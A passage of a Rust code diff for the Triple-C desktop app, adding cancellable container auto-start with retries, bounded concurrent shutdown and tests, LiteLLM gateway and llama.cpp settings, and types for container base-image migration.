/// which Triple-C used to be launched, fail once, and stay broken for the whole
|
||||
/// session.
|
||||
const AUTOSTART_DELAYS: [u64; 8] = [0, 2, 4, 8, 15, 15, 30, 30];
|
||||
|
||||
/// Owns the "is the app going away?" signal and the handles of the background
|
||||
/// tasks started during `setup`.
|
||||
///
|
||||
/// Both auto-starts are fire-and-forget, and quitting quickly used to race
|
||||
/// them: `CloseRequested` stopped a gateway container that did not exist yet,
|
||||
/// and the detached task then created and started it *after* the app was gone —
|
||||
/// leaving an orphan proxy holding a provider key. The same shape orphaned the
|
||||
/// web terminal, whose task wrote its server into the state slot that
|
||||
/// `CloseRequested` had already `take()`-n. Shutdown therefore cancels and
|
||||
/// waits for these tasks *before* running teardown, so teardown always sees the
|
||||
/// final state of the world.
|
||||
pub struct Lifecycle {
|
||||
cancel: watch::Sender<bool>,
|
||||
tasks: Mutex<Vec<JoinHandle<()>>>,
|
||||
shutting_down: AtomicBool,
|
||||
}
|
||||
|
||||
impl Lifecycle {
|
||||
fn new() -> Self {
|
||||
let (cancel, _) = watch::channel(false);
|
||||
Self {
|
||||
cancel,
|
||||
tasks: Mutex::new(Vec::new()),
|
||||
shutting_down: AtomicBool::new(false),
|
||||
}
|
||||
}
|
||||
|
||||
/// A receiver that flips to `true` when the app starts shutting down.
|
||||
pub fn cancellation(&self) -> watch::Receiver<bool> {
|
||||
self.cancel.subscribe()
|
||||
}
|
||||
|
||||
pub fn is_shutting_down(&self) -> bool {
|
||||
*self.cancel.borrow()
|
||||
}
|
||||
|
||||
/// Register a startup task so shutdown can wait for it.
|
||||
fn track(&self, handle: JoinHandle<()>) {
|
||||
self.tasks
|
||||
.lock()
|
||||
.unwrap_or_else(|e| e.into_inner())
|
||||
.push(handle);
|
||||
}
|
||||
|
||||
/// `true` the first time only — the window can emit `CloseRequested` again
|
||||
/// once we ask the app to exit, and teardown must not restart.
|
||||
fn begin_shutdown(&self) -> bool {
|
||||
if self.shutting_down.swap(true, Ordering::SeqCst) {
|
||||
return false;
|
||||
}
|
||||
// `send_replace`, not `send`: `send` reports an error *and leaves the
|
||||
// value untouched* when nothing is subscribed, which is exactly the
|
||||
// case when neither auto-start is enabled — and `is_shutting_down` (the
|
||||
// web terminal's check) reads that stored value.
|
||||
self.cancel.send_replace(true);
|
||||
true
|
||||
}
|
||||
|
||||
/// Let the tracked startup tasks unwind, then abort whatever is left.
|
||||
async fn settle_startup_tasks(&self) {
|
||||
let mut handles: Vec<JoinHandle<()>> = std::mem::take(
|
||||
&mut *self.tasks.lock().unwrap_or_else(|e| e.into_inner()),
|
||||
);
|
||||
if handles.is_empty() {
|
||||
return;
|
||||
}
|
||||
let settle = async {
|
||||
for handle in &mut handles {
|
||||
let _ = handle.await;
|
||||
}
|
||||
};
|
||||
if tokio::time::timeout(STARTUP_CANCEL_BUDGET, settle).await.is_err() {
|
||||
log::warn!("Startup tasks did not settle in time — aborting them");
|
||||
for handle in &handles {
|
||||
handle.abort();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Run an auto-start until it succeeds, the app quits, or the retries run out.
|
||||
///
|
||||
/// Without this a launch that beats the Docker daemon (or Docker Desktop) to
|
||||
/// readiness left the gateway and STT down for the entire session, with no
|
||||
/// path back: nothing re-attempts them.
|
||||
async fn autostart_with_retry<F, Fut>(label: &str, mut cancel: watch::Receiver<bool>, mut attempt: F)
|
||||
where
|
||||
F: FnMut() -> Fut,
|
||||
Fut: std::future::Future<Output = Result<(), String>>,
|
||||
{
|
||||
for (index, delay) in AUTOSTART_DELAYS.iter().enumerate() {
|
||||
if *delay > 0 {
|
||||
tokio::select! {
|
||||
_ = cancel.changed() => return,
|
||||
_ = tokio::time::sleep(Duration::from_secs(*delay)) => {}
|
||||
}
|
||||
}
|
||||
if *cancel.borrow() {
|
||||
return;
|
||||
}
|
||||
|
||||
// Cancellation races the attempt itself, not just the backoff, so a
|
||||
// quick quit isn't held up by an in-flight Docker call — and, more
|
||||
// importantly, so the attempt cannot complete after teardown has run.
|
||||
let result = tokio::select! {
|
||||
_ = cancel.changed() => return,
|
||||
r = attempt() => r,
|
||||
};
|
||||
|
||||
match result {
|
||||
Ok(()) => {
|
||||
if index > 0 {
|
||||
log::info!("{} auto-start succeeded on attempt {}", label, index + 1);
|
||||
}
|
||||
return;
|
||||
}
|
||||
Err(e) => {
|
||||
let last = index + 1 == AUTOSTART_DELAYS.len();
|
||||
if index == 0 {
|
||||
log::warn!("{} auto-start failed ({}) — will retry", label, e);
|
||||
} else if last {
|
||||
log::error!("{} auto-start gave up after {} attempts: {}", label, index + 1, e);
|
||||
} else {
|
||||
log::debug!("{} auto-start attempt {} failed: {}", label, index + 1, e);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
pub fn run() {
|
||||
@@ -43,11 +203,13 @@ pub fn run() {
|
||||
});
|
||||
let exec_manager = Arc::new(ExecSessionManager::new());
|
||||
let auth_bridge = Arc::new(AuthBridgeManager::new());
|
||||
let lifecycle = Arc::new(Lifecycle::new());
|
||||
|
||||
// Clone Arcs for the setup closure (web terminal auto-start)
|
||||
let projects_store_setup = projects_store.clone();
|
||||
let settings_store_setup = settings_store.clone();
|
||||
let exec_manager_setup = exec_manager.clone();
|
||||
let lifecycle_setup = lifecycle.clone();
|
||||
|
||||
tauri::Builder::default()
|
||||
.plugin(tauri_plugin_store::Builder::default().build())
|
||||
@@ -59,6 +221,7 @@ pub fn run() {
|
||||
exec_manager,
|
||||
auth_bridge,
|
||||
web_terminal_server: Arc::new(tokio::sync::Mutex::new(None)),
|
||||
lifecycle,
|
||||
})
|
||||
.setup(move |app| {
|
||||
match tauri::image::Image::from_bytes(include_bytes!("../icons/icon.png")) {
|
||||
@@ -83,8 +246,9 @@ pub fn run() {
|
||||
let set_store = settings_store_setup.clone();
|
||||
let state = app.state::<AppState>();
|
||||
let web_server_mutex = state.web_terminal_server.clone();
|
||||
let lifecycle = lifecycle_setup.clone();
|
||||
|
||||
tauri::async_runtime::spawn(async move {
|
||||
let handle = tauri::async_runtime::spawn(async move {
|
||||
match WebTerminalServer::start(
|
||||
port,
|
||||
token,
|
||||
@@ -95,6 +259,16 @@ pub fn run() {
|
||||
.await
|
||||
{
|
||||
Ok(server) => {
|
||||
// The app may have been asked to quit while the
|
||||
// server was coming up, in which case teardown
|
||||
// has already emptied this slot and would never
|
||||
// look at it again. Stop it here instead of
|
||||
// storing an orphan.
|
||||
if lifecycle.is_shutting_down() {
|
||||
server.stop();
|
||||
log::info!("Web terminal stopped immediately: app is exiting");
|
||||
return;
|
||||
}
|
||||
let mut guard = web_server_mutex.lock().await;
|
||||
*guard = Some(server);
|
||||
log::info!("Web terminal auto-started on port {}", port);
|
||||
@@ -104,45 +278,122 @@ pub fn run() {
|
||||
}
|
||||
}
|
||||
});
|
||||
lifecycle_setup.track(handle);
|
||||
}
|
||||
}
|
||||
|
||||
// Auto-start STT container if enabled in settings
|
||||
if settings.stt.enabled {
|
||||
let stt_settings = settings.stt.clone();
|
||||
tauri::async_runtime::spawn(async move {
|
||||
match docker::stt::ensure_stt_running(&stt_settings).await {
|
||||
Ok(status) => {
|
||||
let cancel = lifecycle_setup.cancellation();
|
||||
let handle = tauri::async_runtime::spawn(async move {
|
||||
autostart_with_retry("STT container", cancel, || async {
|
||||
let status = docker::stt::ensure_stt_running(&stt_settings).await?;
|
||||
if status.running {
|
||||
log::info!("STT container auto-started on port {}", stt_settings.port);
|
||||
Ok(())
|
||||
} else {
|
||||
log::warn!("STT auto-start: container not running after ensure_stt_running");
|
||||
}
|
||||
}
|
||||
Err(e) => {
|
||||
log::error!("Failed to auto-start STT container: {}", e);
|
||||
}
|
||||
Err("container not running after ensure_stt_running".to_string())
|
||||
}
|
||||
})
|
||||
.await;
|
||||
});
|
||||
lifecycle_setup.track(handle);
|
||||
}
|
||||
|
||||
// Auto-start model gateway container if enabled in settings
|
||||
if settings.gateway.enabled {
|
||||
let gateway_settings = settings.gateway.clone();
|
||||
let cancel = lifecycle_setup.cancellation();
|
||||
let handle = tauri::async_runtime::spawn(async move {
|
||||
autostart_with_retry("Model gateway", cancel, || async {
|
||||
let status =
|
||||
docker::gateway::ensure_gateway_running(&gateway_settings).await?;
|
||||
if status.running {
|
||||
log::info!(
|
||||
"Model gateway auto-started on port {}",
|
||||
gateway_settings.port
|
||||
);
|
||||
Ok(())
|
||||
} else {
|
||||
Err("container not running after ensure_gateway_running".to_string())
|
||||
}
|
||||
})
|
||||
.await;
|
||||
});
|
||||
lifecycle_setup.track(handle);
|
||||
}
|
||||
|
||||
Ok(())
|
||||
})
|
||||
.on_window_event(|window, event| {
|
||||
if let tauri::WindowEvent::CloseRequested { .. } = event {
|
||||
if let tauri::WindowEvent::CloseRequested { api, .. } = event {
|
||||
let state = window.state::<AppState>();
|
||||
tauri::async_runtime::block_on(async {
|
||||
// Stop web terminal server
|
||||
let mut server_guard = state.web_terminal_server.lock().await;
|
||||
if let Some(server) = server_guard.take() {
|
||||
let lifecycle = state.lifecycle.clone();
|
||||
|
||||
// Already shutting down: let the window close. That covers our
|
||||
// own `exit` unwinding it, and it deliberately leaves a second
|
||||
// click on the X as a force-quit — teardown is a courtesy, not
|
||||
// a hostage situation.
|
||||
if !lifecycle.begin_shutdown() {
|
||||
return;
|
||||
}
|
||||
|
||||
let exec_manager = state.exec_manager.clone();
|
||||
let auth_bridge = state.auth_bridge.clone();
|
||||
let web_terminal_server = state.web_terminal_server.clone();
|
||||
drop(state);
|
||||
|
||||
// Teardown talks to Docker, so it cannot be instant. Keep the
|
||||
// window alive and tell the UI what is happening rather than
|
||||
// blocking the event thread on it and looking hung.
|
||||
api.prevent_close();
|
||||
let _ = window.emit("app-shutting-down", ());
|
||||
|
||||
let app_handle = window.app_handle().clone();
|
||||
tauri::async_runtime::spawn(async move {
|
||||
let teardown = async {
|
||||
// First: let the auto-starts unwind. Anything they are
|
||||
// midway through creating has to exist before the stops
|
||||
// below run, or it outlives the app.
|
||||
lifecycle.settle_startup_tasks().await;
|
||||
|
||||
// Then everything else, concurrently — these touch
|
||||
// different subsystems and nothing here depends on
|
||||
// another's result. Serially, the two container stops
|
||||
// alone were 20s of Docker's default grace period.
|
||||
let web_terminal = async {
|
||||
if let Some(server) = web_terminal_server.lock().await.take() {
|
||||
server.stop();
|
||||
}
|
||||
// Stop STT container
|
||||
let _ = docker::stt::stop_stt_container().await;
|
||||
// Close all exec sessions
|
||||
state.exec_manager.close_all_sessions().await;
|
||||
// Release every host loopback port held by the auth bridge
|
||||
state.auth_bridge.stop_all().await;
|
||||
};
|
||||
let stop_stt = async {
|
||||
if let Err(e) = docker::stt::stop_stt_container().await {
|
||||
log::warn!("Failed to stop the STT container on exit: {}", e);
|
||||
}
|
||||
};
|
||||
let stop_gateway = async {
|
||||
if let Err(e) = docker::gateway::stop_gateway_container().await {
|
||||
log::warn!("Failed to stop the model gateway on exit: {}", e);
|
||||
}
|
||||
};
|
||||
tokio::join!(
|
||||
web_terminal,
|
||||
stop_stt,
|
||||
stop_gateway,
|
||||
exec_manager.close_all_sessions(),
|
||||
auth_bridge.stop_all(),
|
||||
browser_view::manager().stop_all(),
|
||||
);
|
||||
};
|
||||
|
||||
if tokio::time::timeout(SHUTDOWN_BUDGET, teardown).await.is_err() {
|
||||
log::warn!(
|
||||
"Shutdown exceeded {}s — exiting with teardown incomplete",
|
||||
SHUTDOWN_BUDGET.as_secs()
|
||||
);
|
||||
}
|
||||
app_handle.exit(0);
|
||||
});
|
||||
}
|
||||
})
|
||||
@@ -162,9 +413,19 @@ pub fn run() {
|
||||
commands::project_commands::stop_project_container,
|
||||
commands::project_commands::rebuild_project_container,
|
||||
commands::project_commands::reconcile_project_statuses,
|
||||
// Container base-image migration
|
||||
commands::migration_commands::get_container_staleness,
|
||||
commands::migration_commands::migrate_project_to_base,
|
||||
commands::migration_commands::confirm_migration,
|
||||
commands::migration_commands::rollback_migration,
|
||||
commands::migration_commands::get_migration_state,
|
||||
// Auth bridge
|
||||
commands::auth_bridge_commands::set_auth_bridge_enabled,
|
||||
commands::auth_bridge_commands::get_auth_bridge_status,
|
||||
// Browser view (Playwright dashboard pane)
|
||||
browser_view::commands::set_browser_view_enabled,
|
||||
browser_view::commands::get_browser_view_status,
|
||||
browser_view::commands::check_browser_view_support,
|
||||
// Shared Claude Code auth token
|
||||
commands::auth_token_commands::acquire_claude_token,
|
||||
commands::auth_token_commands::submit_claude_token_code,
|
||||
@@ -216,6 +477,17 @@ pub fn run() {
|
||||
commands::stt_commands::build_stt_image,
|
||||
commands::stt_commands::pull_stt_image,
|
||||
commands::stt_commands::transcribe_audio,
|
||||
// Model gateway (LiteLLM)
|
||||
commands::gateway_commands::get_gateway_status,
|
||||
commands::gateway_commands::start_gateway,
|
||||
commands::gateway_commands::stop_gateway,
|
||||
commands::gateway_commands::check_gateway_health,
|
||||
commands::gateway_commands::build_gateway_image,
|
||||
commands::gateway_commands::pull_gateway_image,
|
||||
commands::gateway_commands::set_gateway_api_key,
|
||||
commands::gateway_commands::clear_gateway_api_key,
|
||||
commands::gateway_commands::get_gateway_auth_token,
|
||||
commands::gateway_commands::regenerate_gateway_auth_token,
|
||||
// Container introspection (sessions / capabilities / scheduler)
|
||||
commands::inspect_commands::list_claude_sessions,
|
||||
commands::inspect_commands::resume_session_command,
|
||||
@@ -233,3 +505,130 @@ pub fn run() {
|
||||
.run(tauri::generate_context!())
|
||||
.expect("error while running tauri application");
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
use std::sync::atomic::AtomicUsize;
|
||||
|
||||
/// Drives the retry loop under a paused clock, so the real backoff schedule
|
||||
/// is exercised without waiting for it.
|
||||
async fn run_autostart(
|
||||
cancel: watch::Receiver<bool>,
|
||||
outcomes: Vec<Result<(), String>>,
|
||||
) -> usize {
|
||||
let calls = Arc::new(AtomicUsize::new(0));
|
||||
let counter = calls.clone();
|
||||
let outcomes = Arc::new(Mutex::new(outcomes.into_iter()));
|
||||
autostart_with_retry("test", cancel, move || {
|
||||
let counter = counter.clone();
|
||||
let outcomes = outcomes.clone();
|
||||
async move {
|
||||
counter.fetch_add(1, Ordering::SeqCst);
|
||||
outcomes
|
||||
.lock()
|
||||
.unwrap()
|
||||
.next()
|
||||
.unwrap_or(Err("still down".to_string()))
|
||||
}
|
||||
})
|
||||
.await;
|
||||
calls.load(Ordering::SeqCst)
|
||||
}
|
||||
|
||||
#[tokio::test(start_paused = true)]
|
||||
async fn a_working_autostart_runs_exactly_once() {
|
||||
let (_tx, rx) = watch::channel(false);
|
||||
assert_eq!(run_autostart(rx, vec![Ok(())]).await, 1);
|
||||
}
|
||||
|
||||
#[tokio::test(start_paused = true)]
|
||||
async fn an_autostart_that_beat_docker_to_readiness_recovers() {
|
||||
// The regression: Docker not being up yet used to cost the whole
|
||||
// session — gateway down, STT down, and nothing ever retried.
|
||||
let (_tx, rx) = watch::channel(false);
|
||||
let calls = run_autostart(
|
||||
rx,
|
||||
vec![
|
||||
Err("daemon not running".to_string()),
|
||||
Err("daemon not running".to_string()),
|
||||
Ok(()),
|
||||
],
|
||||
)
|
||||
.await;
|
||||
assert_eq!(calls, 3);
|
||||
}
|
||||
|
||||
#[tokio::test(start_paused = true)]
|
||||
async fn a_permanently_failing_autostart_gives_up_rather_than_looping_forever() {
|
||||
let (_tx, rx) = watch::channel(false);
|
||||
assert_eq!(
|
||||
run_autostart(rx, vec![]).await,
|
||||
AUTOSTART_DELAYS.len(),
|
||||
"should attempt once per backoff step and then stop"
|
||||
);
|
||||
}
|
||||
|
||||
#[tokio::test(start_paused = true)]
|
||||
async fn a_quick_quit_stops_the_retries_before_they_start() {
|
||||
// Quitting before the first attempt must not leave a task that creates
|
||||
// and starts a container after teardown has already run.
|
||||
let (tx, rx) = watch::channel(false);
|
||||
tx.send(true).unwrap();
|
||||
assert_eq!(run_autostart(rx, vec![Ok(())]).await, 0);
|
||||
}
|
||||
|
||||
#[tokio::test(start_paused = true)]
|
||||
async fn cancelling_between_attempts_stops_the_retries() {
|
||||
let (tx, rx) = watch::channel(false);
|
||||
let calls = Arc::new(AtomicUsize::new(0));
|
||||
let counter = calls.clone();
|
||||
autostart_with_retry("test", rx, move || {
|
||||
let counter = counter.clone();
|
||||
let tx = tx.clone();
|
||||
async move {
|
||||
counter.fetch_add(1, Ordering::SeqCst);
|
||||
// The app starts quitting while this attempt is in flight.
|
||||
let _ = tx.send(true);
|
||||
Err("daemon not running".to_string())
|
||||
}
|
||||
})
|
||||
.await;
|
||||
assert_eq!(calls.load(Ordering::SeqCst), 1);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn shutdown_begins_exactly_once() {
|
||||
// `CloseRequested` fires again when our own `exit(0)` unwinds the
|
||||
// window; teardown must not start a second time.
|
||||
let lifecycle = Lifecycle::new();
|
||||
assert!(!lifecycle.is_shutting_down());
|
||||
assert!(lifecycle.begin_shutdown());
|
||||
assert!(lifecycle.is_shutting_down());
|
||||
assert!(!lifecycle.begin_shutdown());
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn beginning_shutdown_notifies_already_running_startup_tasks() {
|
||||
let lifecycle = Lifecycle::new();
|
||||
let mut cancel = lifecycle.cancellation();
|
||||
assert!(!*cancel.borrow());
|
||||
lifecycle.begin_shutdown();
|
||||
assert!(cancel.changed().await.is_ok());
|
||||
assert!(*cancel.borrow());
|
||||
}
|
||||
|
||||
#[tokio::test(start_paused = true)]
|
||||
async fn a_startup_task_that_ignores_cancellation_is_abandoned_not_awaited() {
|
||||
// The budget is what keeps a wedged auto-start from turning quit into a
|
||||
// multi-minute freeze.
|
||||
let lifecycle = Lifecycle::new();
|
||||
lifecycle.track(tauri::async_runtime::spawn(async {
|
||||
tokio::time::sleep(Duration::from_secs(600)).await;
|
||||
}));
|
||||
lifecycle.begin_shutdown();
|
||||
let started = tokio::time::Instant::now();
|
||||
lifecycle.settle_startup_tasks().await;
|
||||
assert!(started.elapsed() <= STARTUP_CANCEL_BUDGET + Duration::from_secs(1));
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,5 +1,6 @@
|
||||
use serde::{Deserialize, Serialize};
|
||||
|
||||
use super::gateway_settings::GatewaySettings;
|
||||
use super::project::{ClaudeCodeSettings, EnvVar};
|
||||
|
||||
fn default_true() -> bool {
|
||||
@@ -53,6 +54,23 @@ pub struct GlobalOllamaSettings {
|
||||
pub base_url: Option<String>,
|
||||
#[serde(default)]
|
||||
pub default_model_id: Option<String>,
|
||||
/// Global fallback for the `haiku` alias override. Blank means "use the
|
||||
/// resolved model id", which is what makes background Claude Code calls
|
||||
/// work against a server that only serves one model.
|
||||
#[serde(default)]
|
||||
pub default_haiku_model_id: Option<String>,
|
||||
}
|
||||
|
||||
/// Global defaults for the llama.cpp (`llama-server`) backend.
|
||||
/// Mirrors [`GlobalOllamaSettings`]; used when the per-project field is blank.
|
||||
#[derive(Debug, Clone, Serialize, Deserialize, Default)]
|
||||
pub struct GlobalLlamaCppSettings {
|
||||
#[serde(default)]
|
||||
pub base_url: Option<String>,
|
||||
#[serde(default)]
|
||||
pub default_model_id: Option<String>,
|
||||
#[serde(default)]
|
||||
pub default_haiku_model_id: Option<String>,
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone, Serialize, Deserialize, Default)]
|
||||
@@ -61,6 +79,8 @@ pub struct GlobalOpenAiCompatibleSettings {
|
||||
pub base_url: Option<String>,
|
||||
#[serde(default)]
|
||||
pub default_model_id: Option<String>,
|
||||
#[serde(default)]
|
||||
pub default_haiku_model_id: Option<String>,
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone, Serialize, Deserialize)]
|
||||
@@ -82,6 +102,8 @@ pub struct AppSettings {
|
||||
#[serde(default)]
|
||||
pub global_ollama: GlobalOllamaSettings,
|
||||
#[serde(default)]
|
||||
pub global_llamacpp: GlobalLlamaCppSettings,
|
||||
#[serde(default)]
|
||||
pub global_openai_compatible: GlobalOpenAiCompatibleSettings,
|
||||
#[serde(default = "default_global_instructions")]
|
||||
pub global_claude_instructions: Option<String>,
|
||||
@@ -102,6 +124,8 @@ pub struct AppSettings {
|
||||
#[serde(default)]
|
||||
pub stt: SttSettings,
|
||||
#[serde(default)]
|
||||
pub gateway: GatewaySettings,
|
||||
#[serde(default)]
|
||||
pub global_claude_code_settings: Option<ClaudeCodeSettings>,
|
||||
}
|
||||
|
||||
@@ -180,6 +204,7 @@ impl Default for AppSettings {
|
||||
custom_image_name: None,
|
||||
global_aws: GlobalAwsSettings::default(),
|
||||
global_ollama: GlobalOllamaSettings::default(),
|
||||
global_llamacpp: GlobalLlamaCppSettings::default(),
|
||||
global_openai_compatible: GlobalOpenAiCompatibleSettings::default(),
|
||||
global_claude_instructions: default_global_instructions(),
|
||||
global_custom_env_vars: Vec::new(),
|
||||
@@ -190,6 +215,7 @@ impl Default for AppSettings {
|
||||
dismissed_image_digest: None,
|
||||
web_terminal: WebTerminalSettings::default(),
|
||||
stt: SttSettings::default(),
|
||||
gateway: GatewaySettings::default(),
|
||||
global_claude_code_settings: None,
|
||||
}
|
||||
}
|
||||
|
||||
@@ -0,0 +1,99 @@
|
||||
//! Settings and status for the **model gateway** — a LiteLLM proxy container
|
||||
//! Triple-C runs as a sibling of the project containers.
|
||||
//!
|
||||
//! Claude Code speaks only the Anthropic Messages API (`POST
|
||||
//! ${ANTHROPIC_BASE_URL}/v1/messages`). OpenAI has no such route, so an OpenAI
|
||||
//! key cannot drive Claude Code directly. The gateway exposes `/v1/messages`
|
||||
//! in Anthropic format and translates each call to the configured provider,
|
||||
//! which is what turns "OpenAI Compatible" from *bring your own proxy* into
|
||||
//! something Triple-C manages itself.
|
||||
//!
|
||||
//! Nothing secret lives in this module. The provider API key and the gateway's
|
||||
//! own master key are held in the OS keychain (see `storage::secure`); what is
|
||||
//! persisted to `settings.json` is only the non-secret shape of the config.
|
||||
|
||||
use serde::{Deserialize, Serialize};
|
||||
|
||||
/// LiteLLM's own default port, and the one the existing "OpenAI Compatible"
|
||||
/// placeholder text already suggests.
|
||||
pub fn default_gateway_port() -> u16 {
|
||||
4000
|
||||
}
|
||||
|
||||
fn default_gateway_provider() -> String {
|
||||
"openai".to_string()
|
||||
}
|
||||
|
||||
/// One entry of LiteLLM's `model_list`.
|
||||
///
|
||||
/// `name` is the friendly handle a project puts in its model field — it is what
|
||||
/// Claude Code sends as the `model` of a `/v1/messages` request. `model_id` is
|
||||
/// the provider-side id. The gateway config composes them as
|
||||
/// `<provider>/<model_id>`, which is why the shape stays generic across
|
||||
/// providers instead of hard-coding OpenAI.
|
||||
#[derive(Debug, Clone, Serialize, Deserialize, PartialEq, Eq, Default)]
|
||||
pub struct GatewayModel {
|
||||
/// Friendly name projects use (e.g. `gpt-5.1`).
|
||||
pub name: String,
|
||||
/// Provider-side model id (e.g. `gpt-5.1`).
|
||||
pub model_id: String,
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone, Serialize, Deserialize, PartialEq, Eq)]
|
||||
pub struct GatewaySettings {
|
||||
/// Auto-start the gateway container with the app.
|
||||
#[serde(default)]
|
||||
pub enabled: bool,
|
||||
/// Host port the gateway is published on.
|
||||
#[serde(default = "default_gateway_port")]
|
||||
pub port: u16,
|
||||
/// LiteLLM provider prefix — `openai`, `azure`, `gemini`, `groq`, …
|
||||
#[serde(default = "default_gateway_provider")]
|
||||
pub provider: String,
|
||||
/// Optional provider base URL override (Azure endpoints, proxies, …).
|
||||
#[serde(default)]
|
||||
pub api_base: Option<String>,
|
||||
/// Models the gateway should serve.
|
||||
#[serde(default)]
|
||||
pub models: Vec<GatewayModel>,
|
||||
}
|
||||
|
||||
impl Default for GatewaySettings {
|
||||
fn default() -> Self {
|
||||
Self {
|
||||
enabled: false,
|
||||
port: default_gateway_port(),
|
||||
provider: default_gateway_provider(),
|
||||
api_base: None,
|
||||
models: Vec::new(),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
impl GatewaySettings {
|
||||
/// Models with both fields filled in. Half-typed rows in the UI must not
|
||||
/// reach the generated YAML.
|
||||
pub fn valid_models(&self) -> Vec<&GatewayModel> {
|
||||
self.models
|
||||
.iter()
|
||||
.filter(|m| !m.name.trim().is_empty() && !m.model_id.trim().is_empty())
|
||||
.collect()
|
||||
}
|
||||
}
|
||||
|
||||
/// What the settings UI needs to know about the gateway. Deliberately carries
|
||||
/// **no** secret: `has_api_key` is a boolean, not the key.
|
||||
#[derive(Debug, Clone, Serialize, Deserialize, PartialEq, Eq)]
|
||||
pub struct GatewayStatus {
|
||||
pub container_exists: bool,
|
||||
pub running: bool,
|
||||
pub port: u16,
|
||||
pub image_exists: bool,
|
||||
/// Number of fully-specified models in the current settings.
|
||||
pub model_count: usize,
|
||||
/// Whether a provider API key is present in the keychain.
|
||||
pub has_api_key: bool,
|
||||
/// The value a project should use for its base URL. See
|
||||
/// `docker::gateway::gateway_base_url`.
|
||||
pub base_url: String,
|
||||
}
|
||||
@@ -0,0 +1,292 @@
|
||||
//! Contract types for **container base-image migration**.
|
||||
//!
|
||||
//! ## Why this exists
|
||||
//!
|
||||
//! A project's container is created from `triple-c-snapshot-<id>:latest`
|
||||
//! whenever that image exists, and every recreation re-commits it. Nothing ever
|
||||
//! moved a project back onto a *newer base image*: `container_needs_recreation`
|
||||
//! compared the container's actual image against the `triple-c.image` label that
|
||||
//! `create_container` wrote from the very image it created from — a tautology
|
||||
//! that could never fire. So a project stayed pinned to its own snapshot
|
||||
//! lineage forever and never picked up base-image fixes (a new `socat`, a new
|
||||
//! `/usr/local/bin` shim, security updates). The only escape was Reset, which
|
||||
//! deletes both named volumes and takes the login, the skills and every session
|
||||
//! transcript with it.
|
||||
//!
|
||||
//! Migration is the non-destructive alternative: recreate the container from the
|
||||
//! current base, then replay onto it the small set of things the base does not
|
||||
//! carry, and leave the volumes strictly alone.
|
||||
//!
|
||||
//! ## What actually needs replaying
|
||||
//!
|
||||
//! `/home/claude` is the named volume `triple-c-home-<id>`, with
|
||||
//! `/home/claude/.claude` nested inside it. The image's own `/home/claude` is
|
||||
//! **seed-only** — once the volume is mounted the image's copy is masked
|
||||
//! permanently. So Claude Code itself (it installs to `~/.local/bin`), cargo,
|
||||
//! uv, ruff, the OAuth login, `~/.claude.json`, skills, transcripts, scheduler
|
||||
//! tasks and SSH keys all re-attach for free across an image swap.
|
||||
//!
|
||||
//! What is genuinely lost is confined to the container's writable layer:
|
||||
//! root-level `apt` installs, `npm -g` packages (npm's prefix is `/usr`),
|
||||
//! `/usr/local`, `/opt`, `/srv`, anything under `/workspace` that is not on a
|
||||
//! bind mount — and **`/var`**. The first four are what [`MigrationOptions`]
|
||||
//! can replay. `/var` is not, and that gap is deliberate rather than an
|
||||
//! oversight, so it is stated here rather than glossed over:
|
||||
//!
|
||||
//! Service state lives in `/var/lib/<service>` and `/var/www`. Replaying the
|
||||
//! apt delta reinstalls `postgresql` onto the new base and hands back an
|
||||
//! **empty** cluster; the old one is gone with the writable layer. The
|
||||
//! ordinary recreate path does not have this problem, because it creates from
|
||||
//! the project's own snapshot and `/var` rides along — so a silent migration
|
||||
//! would be *more* destructive than the thing it is sold as a safer
|
||||
//! alternative to.
|
||||
//!
|
||||
//! Copying a live database's files out with `tar` and unpacking them onto a
|
||||
//! different base's version of the same package is not a fix; it is a
|
||||
//! corruption risk wearing a fix's clothes. So the answer is disclosure:
|
||||
//! [`crate::docker::migration::unpreserved_data`] finds the data-bearing
|
||||
//! subtrees under `/var` that the base does not ship, and
|
||||
//! [`ContainerStaleness::unpreserved_data`] carries them into the pre-flight,
|
||||
//! where the user is told to back them up before anything is touched.
|
||||
//!
|
||||
//! ## Serde
|
||||
//!
|
||||
//! Plain snake_case, matching every other IPC struct in this crate
|
||||
//! (`ContainerInfo`, `ClaudeSession`, …) and `app/src/lib/types.ts`.
|
||||
|
||||
use serde::{Deserialize, Serialize};
|
||||
|
||||
/// How a finished migration attempt ended.
|
||||
#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
|
||||
#[serde(rename_all = "snake_case")]
|
||||
pub enum MigrationPhase {
|
||||
/// The container now runs on the current base and everything requested was
|
||||
/// replayed.
|
||||
Succeeded,
|
||||
/// The container now runs on the current base, but at least one package or
|
||||
/// path could not be replayed. Deliberately distinct from `Failed`: one
|
||||
/// missing apt package must never cost the user the whole migration.
|
||||
Partial,
|
||||
/// The migration could not complete. If the container had already been
|
||||
/// swapped, an automatic rollback was attempted — check
|
||||
/// [`MigrationReport::rollback_available`] and the message.
|
||||
Failed,
|
||||
/// The migration was undone; the container is back on its pre-migration
|
||||
/// snapshot image.
|
||||
RolledBack,
|
||||
}
|
||||
|
||||
/// One package that could not be replayed onto the new base.
|
||||
#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
|
||||
pub struct PackageFailure {
|
||||
pub name: String,
|
||||
/// Trimmed tail of the package manager's own error output.
|
||||
pub reason: String,
|
||||
}
|
||||
|
||||
/// A data-bearing subtree the migration will destroy and cannot put back.
|
||||
///
|
||||
/// See [`crate::docker::migration::unpreserved_data`]. Surfaced in the
|
||||
/// pre-flight so the user can take a backup first; never copied.
|
||||
#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
|
||||
pub struct UnpreservedData {
|
||||
/// Absolute path of the directory, e.g. `/var/lib/postgresql`.
|
||||
pub path: String,
|
||||
/// Total size of the non-package files beneath it.
|
||||
pub bytes: u64,
|
||||
/// How many non-package files it holds.
|
||||
pub file_count: u32,
|
||||
}
|
||||
|
||||
/// Everything the UI needs to decide whether a project is worth migrating, and
|
||||
/// to explain to the user what migrating would actually change.
|
||||
///
|
